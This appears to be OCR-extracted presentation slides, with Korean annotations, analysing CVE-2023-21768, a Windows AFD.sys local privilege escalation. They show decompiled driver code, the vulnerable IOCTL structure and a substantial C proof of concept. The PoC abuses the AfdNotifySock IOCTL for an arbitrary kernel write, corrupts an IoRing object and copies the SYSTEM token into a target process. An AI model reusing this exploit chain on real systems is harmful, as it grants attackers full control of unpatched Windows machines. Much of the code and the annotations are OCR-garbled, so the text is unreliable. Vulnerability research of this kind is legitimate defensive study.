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Description : Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability
Vulnerability Type : Local Privilege Escalation (LPE)

CVSS: 7.8 (High)

Attack Vector : Local

Affected Versions

* Windows 11 22H2
* Windows Server 2022
* AFD.sys (10.0.22621.317 ~ 10.0.22621.608)

Timeline

CVE Assigned : 2022.12.13
patched : 2023.01.10
Release : 2023.01.10
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typedef struct IORING OBJECT {
short Type;
short Size;
struct NT_IORING INFO UserInfo;
vold* Section;
struct _NT_IORING_SUBMISSION_ QUEUE* SubmissionQueue;
struct MDL* CompletionQueueMdl;
struct _NT_IORING_COMPLETION_QUEUE* CompletionQueue;
unsigned _ 1nt64 ViewSize;
long InSubmit;
unsigned _ 1nt64 CompletionLock;
unsigned __ 1nt64 SubmitCount;
unsigned __1nt64 CompletionCount;
unsigned __ i1nt64 CompletionWaitUntil;
struct _KEVENT CompletionEvent;
unsigned char SignalCompletionEvent;
struct KEVENT* CompletionUserEvent;
unsigned int RegBuffersCount;
struct IOP_MC_BUFFER_ENTRY** RegBuffers;
unsigned int RegFilesCount;
void** RegFiles;

} IORING OBJECT, *PIORING_OBJECT;

20| user modeOjjA @™ HE2 OO|AE 22| E et
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vulnerability analysis

1cBo6Tae9 Length.b = argl

TcBe6fbbb int32_t rax_4 = IoRemoveloCompletion(arg2, P, P_1, zx.q(r12.d), &var_304, Length.b, rsi_2, @, argl, P_2, P_5, arg3)
1cB86fb17 rsi_1 = rax_4

1ceB6fTb17

1cB86fb1b if (rax_4 == 0)

1cB86fb25 if (rax_2 != rax_4.b)

1cBB6fb2f for (1nt32_t 1 = @; 1 u< var_364; 1 += 1)

1cB86fb3b void* rdx_9 = (zx.q(i) << 5) + P

1cBB6Tb42 int32_t* rex_7 = (zx.q(i) << 4) + x(arg3 + 8x18)
1cB86Tb48 xrex_7 = *rdx_9

1cee6fb4d rex_7[1] = *(rdx_9 + 8)

1cB86fb53 rex_7[3] = *(rdx_9 + 8x18)

1cBB6Tb59 rex_7[2] = x(rdx_9 + 8x18)

1ceB6fbh5s9

1ce86fb77 if (Length.b == 8)

1cBB6fbad x%x(arg3 + 0x18) = var_364

1cBB6fb77 else

1c8B6fb81 | *%x(arg3 + Bx18) = var_364

1ceB6Th81

TcBB6Taed Length.b = argil

1cBB6Tbab int32_t rax_4 = IoRemoveloCompletion(arg2, P, P_1, zx.q(r12.d), &var_304, Length.b, rsi_2, @, argl, P_2, P_5, arg3)
1cBB6Tb17 rsi_1 = rax_4

TcBB6Tb17

1cBB6Tb1b L s ]

1cBB6Tb25 if (rax_2 '= rax_4.b)

1cBB6Tb2f for (1nt32_t 1 = @; 1 u< var_3684; 1 += 1)

1cBB6fb3b void* rdx_9 = (zx.q{i) << 5) + P

1cB86Tb42 int32_t* rex_7 = (zx.q(i) << 4) + *(arg3 + 6x10)
1cBB6Tb48 krex_/ = *rdx_9

1cBB6Tbdd rex_7[1] = *(rdx_9 + 8)

1cBB6Tb53 rex_7[3] = *(rdx_9 + 8x18)

1c8861b59 rex_7[2] = *(rdx_9 + 8x18)

1cB86fbh59

1c8686fb77 if (Length.b == 8)

1cBB6Tbbc *%(arg3 + 8x18) = var_364

1cBB6Tb77 else

1cBB86Tb85 ProbeForWrite(Address: x(arg3 + 0x18), Length: 4, Alignment: 4)
1cB86fbho9 *%x(arg3 + Bx18) = var_304




vulnerability analysis

TcBB6febd rcx_4.b = r12.b

TcBB6febd int32_t rax_10 = AfdNotifyProcessRegistration(rcx_4.b,
TcBBoTebB

TcBB6febb if (r12.b == 0)

TcBB6Tebb *(x(rsi + 8) + 1_1 * 6x18 + Bx14) = rax_186
TcBB6febb rdx = MmUserProbeAddress

TcBB6febb else

1cBe6febd int64_t rcx_5 = #(rsi + B)

TcBB6Te/1 rdx = MmUserProbeAddress

TcBB6fe/

TcBB6fe’b if {r13.b == 8)

1c8086fe92 | rex_1 = rex_5 + i_1 % 8x18 + 0x14
TcBB6Te’b elsge

1c8B6Te85 | rex_1 = rex_5 + Bxc + (i1 << 4)
TcBB6TeBS

TcBB6Te96 uintéd_t rax_12 = «*MmUserProbeAddress
TcBB6Te06

TcBB6Telc it (rex_1 u>= rax_12)

TcBB6Telc | rexals =Srax 2

TcBB6Te9c

TcBB6Tead xrex_1 = rax_18

TcBB6feab

TcBB6Tedd resc sl hr=sr T2 E




-.E xrefs to AfdNotifySock

Directic Type Address Text

B Up o rdata:00000001C004 - | dqg offset AfdNotifySock

Up o pdata:00000007C005-- RUNTIME_FUNCTION <rva AfdNotifysock, rva byte_1C0U06FFOE, W

Line 1 of 2

QK Cancel search Help



‘vulnerability analysis

.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:

IOCTL code : 0x12127

00000001COO50A00

; int AfdIoctlTable[76]

00000001CO050A00 AfdIoctlTable dd

00000001COO50A00
00000001COO50A00
00000001COO50A00
00000001COO50A00
00000001COO50A00
00000001COO50A00
00000001COO50A00
00000001COO50A00
00000001COO50A00
00000001COO50A00
00000001COO50A00

dd
dd
dd
dd
dd
dd
dd
dd
dd

12003h,

12023h,
12043h,
12063h,
12083h,
120A0h,
120C3h,
120E2h,
12103h,
12123h,

12007h, 1200Bh, 1200Ch, 12010h, 12017h,
; DATA XREF: AfdFastIoDeviceControl+F18tr
; AfdDispatchDeviceControl+4Ftr
12024h, 1202Bh, 1202Fh, 12033h, 12037h,
12047h, 1204Bh, 1204Fh, 12053h, 12057h,
12067h, 1206Bh, 1206Fh, 12073h, 12077h,
12087h, 1208Bh, 1208Ch, 12090h, 12094h,
120A7h, 120ABh, 120ACh, 120B3h, 120B4h,
120C7h, 120CBh, 120CFh, 120D3h, 120D7h,
120E7h, 120EBh, 120EFh, 120F3h, 120F7h,
12107h, 1210Bh, 1210Ch, 12113h, 12117h,
12127h, 2 dup(0)

offset : 73

1201Bh,

1203Bh,
1205Bh,
12078h,
12098h,
120BBh,
120DBh,
120FBh,
1211Bh,

1201Fh

1203Fh
1205Fh
1207Fh
1209Fh
120BFh
120DFh
120FFh
1211Fh



vulnerability analysis

1cBB6fco9B

Tcee6fc9o if (InBufferSize '= 6x38 || OutBufferSize '= 8)

TcBB6fc/f rbox = STATUS_INFO_LENGTH_MISMATCH

Tcee6fc90 else if (OQutBuffer == 8)

Tcee6fcag if (previous_mode.b !'= 8)

TcBB6fcb2 int128_t+* _AfdNotifyStruct_1 = *MmUserProbeAddress
TcBB6fcbh2

Tcee6fchs if (_AfdNotifyStruct u== _AfdNotifyStruct_1)
TcBB6Tcb8 | _AfdNotifyStruct = _AfdNotifyStruct_1
1cBB6fcb8

TcBB6fchbf s_1 = #_AfdNotifyStruct

1cBB6fccs uint128_t var_58_1 = _AfdNotifyStruct[1]

1cBB6fcdl int128_t var_48_1 = _AfdNotifyStruct[2]

TcBB6fcda _AfdNotifyStruct = &s_1

TcBB6fcda

1cee6fcfo if (_AfdNotifyStruct[2].d == 8)

TcBB6TcOc rbox = STATUS_INVALID_PARAMETER

Tcee6fcto else if (*(_AfdNotifyStruct + 8x28) == 8)

1cee6fdee if (_AfdNotifyStruct[1].q == 8 && *(_AfdNotifyStruct + 8x24) == 8)
Tcee6fctb | goto label_TcB86fd17

TcBB6fctb

TcBB6fcOc rbox = STATUS_INVALID_PARAMETER

1cBB6fcfs else if (*(_AfdNotifyStruct + 8x18) == 8 || _AfdNotifyStruct[1].q == 8)
TcBB6fcOc rbox = STATUS_INVALID_PARAMETER

1. InputBufferSize= 0x300|0{Of 5}11, OutBufferSize= 00|0{Of SItLC},

2. PreviousModeZf user mode(0x1)2tH ST 2K 7F user address space0f| J[U=X|
3. dwCounter?} 00| OfL|O{OF StLC},

4. dwLenO| 00| pData2”} null ptre! X|2F TimeoutO| 0QIX| =tQIStC},

5. deLenO| 00| OfL|2tH pPwnPtrO| null ptre!X|2t pData27t null ptr2!X| =I5t}
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1ceeefd17
1cBB6fdla
1cBee6fdild
1cB061d31
1cB861d39
1cB86fd45
1cBeo6fd47
1cBe6fddc
1cBB6fd4c

POBJECT_TYPE ObjectType = *IoCompletionObjectType
HANDLE Handle = *_AfdNotifyStruct

int64_t Object = 6

AfdNotifyStruct.b = previous_mode.b

NTSTATUS

rbx

Object_1 = Object
int64d_t Object_2 = 0Object_1

; - ObReferenceObjectByHandle(Handle, DesiredAccess: 2, ObjectType, AccessMode: AfdNotifyStruct.b, &0bject, HandleInformation: nullptr)

1c886fd5b
1cB086fd5b
1cB86Td5b
1cBe6fd67
T1cBB6fd67
1cBB6Tdba
1cBe6fded

T1cBB6fdéd
1~B0AFATA

0x1c006fd53 S25t7| 2/5H NtCreateloCompletion

BOOLEAN rax_2
uintbd_t rcx
rax_2, rcx =
int64_t ri13
ri3.b = rax_2
int32_t 1 = 8
int64_t (% co

far (- 1 1=

ToIs32bitProcess(Irp: nullptr)

nst rdx)() = MmUserProbeAddress

AFdAMAtd FuwStrunst (21 A- 7 12— 13

ol
-

> A
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TcBe6fd78
1cB86Td81
1c886Td81
1cB86Td81
1cB86Td81
1cB86Td81
1cBe6fe3?7

1cBB86Tedb
1cBB86fd81
1cB86fdéc
1cB8861d96
1cB861d99
1cBB86fda9
1cBB6fdab
1cBB6fdfd
1cBB6feB
1cBB6feB
1cBB6fed?
1cBB6fel?
1cBB6feB?
T1cBBbTebe
1cBB6fe18
1cBB6fdab
1cBB6fdad
1cBB6fdab
1cBB86fdab
1cB86fdbb
1cBB86fdb8
1cB86fdb8
1cB86fdb8

1cBB86fdc8
1rARAFArR

for (; 1 u< AfdNotifyStruct_1[2].d; i += 1)

int32_t* rex_3
uintée4d_t 1_1
int128_tx r8_2

if (previous_mode.b == 8)
1.T = Zx.ql1

intl128_t*x var_76_2 = r8_2

else

__builtin_memset(&s, c: 6, n: Bx18)
i_1 = zx.q(1)

int64_t r8 = x(AfdNotifyStruct_1 + 8)

if (r13.b == 8)
i AL rée + 1.1 = 68x18
int32_t* rax_8 = #MmUserProbeAddress

if (rcex_3 u== rax_8)
rcx_3 = rax_38

§ = *krex_3

uint64_t var_808_2 = *(rcx_3 + 6x10)
else

rex.3 = (zx.q(i_1.d) << 4) + r8
1nt32_t* var_38_1 = rex_3

if ((rex_3.b & 3) '= 8)
[ Oole #8 o 24
rcx_3, rdx = ExRaiseDatatypeMisalignment()

char% r8_1 = =#rdx

typedef struct AFD_NOTIFYSOCK_STRUCT {
HANDLE hIoCompletionPort;
PVOID pDatal;
PVOID pData2;
PVOID pPwnPtr;
DWORD dwCounter;
DWORD dwTimeout;
DWORD dwlLen;
char padding[0x4];
} AFD_NOTIFYSOCK_STRUCT;

dwCounter@tZ pDatalO| user mode?lX| 9l



vulnerability analysis

TcBB61991
TcBB6fbab
1cBB6T991
1cBB6T99a
T1cBB6T99a
1cBB6T99a
1cBB6199d
TcBB6f9a3
1cBB6f9a3
1cBB6f9a3
TcBB6f9ad
1cBB6T9b1
1cBB6T9b4
TcBB6f9a3
1cBB6T9adb
1cBB6f9a7
TcBB6f9a7
1cBB6T9bb
1cBB6T9c3
TcBB6TacT
TcBB6fod7
TcBB6Tad7
TcBB6f9d7
TcBB6TOf4
1cBB6TIf7
TcBB6T9d7
TcBB6f0e2
1cBB6T9e2
1cBB6f9e2
TcBB6f9e2
1cBB6T9e8
1cBB6T9e8
TcBB6T0e8
1cBB6T9ec
TcBB6T9ec
TcBB6fab?2

if (dwLen.d
rsi_1 =
else

inted_t
rdx :Numb

uinto4_t

if (rdx
Leng
Numb
rsi_
else

rsi_
Leng

if (rsi_
BOOL
P.b

if (

else

if

B

rdx

erOfBytes_1 =
Length

= 8)

th = -1

erOfBytes = -

IS ="=8% 3 FEh

1 =28
th = -1

1 s>= 8)

uint64_t NumberOfBytes_1

mulu.dp.q(©x26, dwlLen)

uint64_t NumberOfBytes = NumberOfBytes_1

1
bb

EAN rax_2 = IoIs32bitProcess(Irp: nullptr)

= rax_2

rax_2 == 8)

uint32_t Alignment

Length = NumberOfBytes

Alignment = 8
uintéd_t Leng
intoe4d4_t rdx_1
rdx_1:Length_

if (rdx_1 ==
| Length =

Alignment = 4

th_1
1 = mulu.dp.q(8x18, zx.q(*(_AfdNotifyStruct + B8x28)))

@)
Length_1

_PreviousMode '= B8

dwLenO| 00| OtL|™ pData27}
user mode < 2lX| =tol
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TcBB6TbBb int32_t rax_4 = IoRemoveloCompletion(_Object, P, P_1, zx.q(dwLen.d), &var_384, Length.b, rsi_2, @, _PreviousMode, P_2, P_5, _AfdNotifyStruct)
TcBB6fb17 rsi_1 = rax_4

TcBB86Tb17

T1cBa6fbib if (rax_4 == 8)

1cBB6ftb25 if (rax_2 '= rax_4.b)

TcBB6fb2f for (int32_t 1 = @; 1 u< var_364; 1 += 1)

TcBB6Tb3b vold* rdx_9 = (zx.q(i) << 5) + P

TcBB6Tb42 int32_t% rex_7 = (zx.q(1i) << 4) + #(_AfdNotifyStruct + 8x18)
Tceeofb48 *rex_7 = #rdx_9

1ceB6fb4d rex_7[1] = #(rdx_9 + 8)

1cB06Tb53 rex_7[3] = #(rdx_9 + 8x18)

1cBB6Tb59 rex_7[2] = #(rdx_9 + 8x10)

1ce86fb59

1cBB6fb77 // WM Length.b= _PreviousModeZ 273 E

1c0086fb77 if (Length.b == 8)

TcBB6fbad | #%( _AfdNotifyStruct + 6x18) = var_364

TcBB6fb77 else

1c006Tb81 | xx(_AfdNotifyStruct + 6x18) = var_364

- o N

loRemoveloCompletion &4=0|A 02 Htztsl{of et

1. _Objectdll dwLen@tZ 1/0 completion portZ} L0{0F &
2. N|ZHA|eto] Btz E F2
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1ceeefd17
1cBB6fdla
1cBee6fdild
1cB061d31
1cB861d39
1cB86fd45
1cBeo6fd47
1cBe6fddc
1cBB6fd4c

1c886fd5b
1cB086fd5b
1cB86Td5b
1cBe6fd67
T1cBB6fd67
1cBB6Tdba
1cBe6fded

T1cBB6fdéd
1~B0AFATA

POBJECT_TYPE ObjectType = *IoCompletionObjectType
HANDLE Handle = *_AfdNotifyStruct
int64_t Object = 6
AfdNotifyStruct.b = previous_mode.b
NTSTATUS

rbx

Object_1 = Object
int64d_t Object_2 = 0Object_1

BOOLEAN rax_2
uintbd_t rcx
rax_2, rcx =
int64_t ri13
ri3.b = rax_2
int32_t 1 = 8
int64_t (% co

far (- 1 1=

ToIs32bitProcess(Irp: nullptr)

nst rdx)() = MmUserProbeAddress

AFdAMAtd FuwStrunst (21 A- 7 12— 13

{7|M AFE3E I/O completion port

NtSetloCompletion &

; - ObReferenceObjectByHandle(Handle, DesiredAccess: 2, ObjectType, AccessMode: AfdNotifyStruct.b, &0bject, HandleInformation: nullptr)



vulnerability analysis

// ®W2|AH Length.b= _PreviousModeZ &% &
if (Length.b == 8)
. #x(_AfdNotifyStruct + 8x18) = var_304

else
. xx(_AfdNotifyStruct + @x18) = var_304

loRemoveloCompletiom &0l A |7 El 1/O completion port 7H7}
pPwnPtrdf| Xzl



AFD.sys2| IOCTL 2Xo=
714 Mjg| =t

system E2= PID Z2M|A
EZ0| S0




PoC

ULONG PID = 0;

if (argc !'= 2) {
printf("usage : CVE-2023-21768.exe <pid>\n");

ex1t(1l);

}
PID = strtol(argv[1], NULL, 10);

printf(“[*] Attempting to elevate pid : %1\n", PID);

LPE & T=M|AQ| PID &1F



PoC

void GetNtFunctions() {
DWORD(WINAPI * _NtCreateFile)(
PHANDLE FileHandle, ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes, PIO_STATUS_BLOCK IoStatusBlock,
PLARGE_INTEGER AllocationSize, ULONG FileAttributes, ULONG ShareAccess,
ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer,
ULONG EalLength

);

DWORD(WINAPI * NtDeviceloControlFile)(
HANDLE FileHandle, HANDLE Event, VOID * ApcRoutine, PVOID ApcContext,
PIO_STATUS_BLOCK IoStatusBlock, ULONG IoControlCode, PVOID InputBuffer,
ULONG InputBufferLength, PVOID OutputBuffer, ULONG OutputBufferLength

);

DWORD(WINAPI * _NtCreateIoCompletion)(
PHANDLE IoCompletionHandle, ACCESS MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes, ULONG NumberOfConcurrentThreads

);

DWORD{WINAPI * _NtSetIoCompletion)(
HANDLE IoCompletionHandle, ULONG CompletionKey,
PIO_STATUS_BLOCK IoStatusBlock, NTSTATUS CompletionStatus,
ULONG NumberOfBytesTransferred

);

DWORD({WINAPI * _NtQuerySystemInformation)(
SYSTEM_INFORMATION CLASS SystemInformationClass,
PVOID SystemInformation, ULONG SystemInformationLength,
PULONG ReturnLength

);

if (_NtCreateFile == NULL || _NtDeviceIoControlFile == NULL
|| _NtCreateIoCompletion == NULL || _NtSetIoCompletion == NULL
|| _NtQuerySystemInformation == NULL)
{
printf("[!] Failed to get nt functions\n");
exit(1l);
¥

printf("[*] Successfully obtained NT functions\n");
return;



PoC

int IoringInit(PIORING_OBJECT* IoruingAddr) {
IORING_CREATE_FLAGS IoringFlags = { 0 };

IoringFlags.Advisory = IORING CREATE_REQUIRED FLAGS NONE;
IoringFlags.Required = IORING_CREATE_REQUIRED_ FLAGS_NONE;

1f (CreateIoRing(IORING_VERSION 3, IoringFlags, 0x10000, 0x20000, &hIoRing)) { .
printf("[!] Failed to create IoRing\n"); IORlng 7—Il.lx'" Aol.lé;
exit(1);

¥

if (GetObjPtr(IoringAddr, GetCurrentProcessId(), *(PHANDLE)hIoRing)) { |0R|ng 7_||'|X'"
printf("[!] Failed to get object ptr\n"); 3 L X A 3=
exit(1l); = T 57

¥

1f (GetKernelPipe(&hInPipeKernel, &hOutPipeKernel)) { IT AH A
printf("[!] Failed to get kernel pipe\n"); Kernel I[I-Ol— o o
exit(1l);

¥

1f (GetClientPipe(&hInPipeClient, &hOutPipeClient)) { : IT AH A1
printf("[!] Failled to get client pipe\n"); Cllent I[I-Ol— o o
exit(1);

¥
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1f (_NtCreateIoCompletion(&Completion, MAXIMUM_ALLOWED, NULL, 1)) { .
printf("[!] Failed to create IoCompletion\n"); |0C0mplet|0n 7—']'*'" ﬁé‘,‘
CloseHandle(Completion);
exit(1l);

}

if (_NtSetIoCompletion(Completion, 0x1337, &IoStatusBlock, O, 0x100)) {

printf("[!] Failed to set IoCompletion\n"); o A
CloseHandle(Completion); |0C0mplet|0n 7—II.IX'"0'" E”OIE'l Ejg

exit(1l);
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ObjectFilePath.Buffer = (PWSTR)L"\\Device\\Afd\\Endpoint";
ObjectFilePath.Length = (USHORT )wcslen(ObjectFilePath.Buffer) * sizeof(wchar_t);
ObjectFilePath.MaximumLength = ObjectFilePath.Length;

ObjectAttributes.Length = sizeof(ObjectAttributes);
ObjectAttributes.ObjectName = &0bjectFilePath;
ObjectAttributes.Attributes = 0x40;

1f ( NtCreateFile(
&Socket,
MAXIMUM_ALLOWED,
&O0bjectAttributes,
&IoStatusBlock,
NULL,
0,
FILE_SHARE_READ | FILE_SHARE_WRITE,
1,
0,
bExtendedAttributes,
sizeof(bExtendedAttributes))) {
printf("[!] Failed to create File\n");
CloseHandle(Socket);
exit(1l);

\Device\Afd\Endpoint ZZ 2 afd C|H}O|A $HE MM



PoC

Data.hIoCompletionPort = Completion; - O}J} BH=SIE [oCompletion
Data.pDatal = VirtualAlloc(NULL, 0x2000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
Data.pData2 = VirtualAlloc(NULL, 0x2000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
Data.dwCounter = 0x1;
Data.dwLen = 0x1;
Data.dwTimeout = 100000000;
Data.pPwnPtr = PwnPtr; — 7{4 0|22| QO£ -I—
1f (Data.pDatal = NULL | Data.pDataZ = NULL) {
if (Data.pDatal != NULL) {
Data.pDatal = VirtualFree(Data.pDatal, ©®, MEM_RELEASE);
¥
if (Data.pData2 != NULL) {
Data.pData2 = VirtualFree(Data.pData2, @, MEM_RELEASE);
¥
printf("[!] Failed to init AfdNotifySock struct\n");
exit(1l);

AfdNotifySock 1 Z=H| X7|3}
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Event = CreateEvent(NULL, 0, @, NULL);
1f (Event == NULL) {

printf("[!] Failed to create event\n");
exit(1l);
}

_NtDeviceIoControlFile(Socket, Event, NULL, NULL, &IoStatusBlock, AFD_NOTIFYSOCK_IOCTL, &Data, 0x30, NULL, 0);
printf(“[*] Successfully overwrlte\n"),

ArbitraryKernelWrite

IOCTL % X afd =cr0|H 7 H22 LH{EI0|E ol = &
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ArbitraryKernelWrite((charx)&pIoRing->RegBuffers + 0x3);
ArbitraryKernelWrite((charx)&pIoRing->RegBuffersCount);

1. loRing->RegBuffers H&A
2. loRing->RegBuffersCount &
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proc = OpenProcess(PROCESS_QUERY_INFORMATION, 0, pid);

if (proc == NULL) {
printf("[!] Failed to open process for PID : Slu\n", pid);
exit(1);

}

LPE

PID IT2 M|A &7
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1f (GetObjPtr(&SystemEprocAddr, 4, 4)) {
printf("[!] Failed to get object ptr\n"); System Z=M| =2 EPROCESS T2H| F4 JHN=
ex1t(1l);

¥
printf(“[+] System EPROC address : %llx\n", SystemEprocAddr);

if (GetObjPtr(&TargetEprocAddr, 4, 4)) {
printf("[!] Failed to get object ptr\n"); - PID Z=2NAS EPROCESS ®1ZH| =4 J1H =
exit(1l);

}
printf("[+] Target EPROC address : %llx\n", TargetEprocAddr);
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FakeRegBuffers = VirtualAlloc(FakeRegBuffersAddr, sizeof(ULONG64) * FakeRegBuffersCount, MEM_RELEASE | MEM_COMMIT, PAGE_READWRITE);
if (FakeRegBuffers != (PVOID)FakeRegBuffersAddr) {

printf("[!] Failed to allocate fake RegBuffers at address : %llx\n", FakeRegBuffersAddr);

exit(1l);
}

memset(FakeRegBuffers, 0, sizeof(ULONG64) * FakeRegBuffersCount);

JHN} HI S
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IoR1ing = *(_HIORING**)&hIoRing;
IoRing->RegBufferArray = FakeRegBuffers;
IoRing->BufferArraySize = FakeRegBuffersCount;

loRing ZHX| =%}
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i1f (IoRingRead(FakeRegBuffers, SystemEprocAddr + EPROC_TOKEN_OFFSET, &SysToken, sizeof(ULONG64))) {
printf(“[!] Failed to read IoRing\n");
exit(1);

}
printf("[+] System token : %llx\n", SysToken);

System E& 7[H 27|
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i1f (IoRingWrite(FakeRegBuffers, TargetEprocAddr + EPROC_TOKEN_OFFSET, SysToken, sizeof(ULONG64))) {
printf("[!] Failed to write IoRing\n");
exit(1l);

}

LPE

PID T2 MA EZ0| System EZ HO{M7|
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IoRingWrite(FakeRegBuffers, &pIoRing->RegBuffers, &null, 0x10);
printf("“[*] Successfully LPE\n");

loRing =
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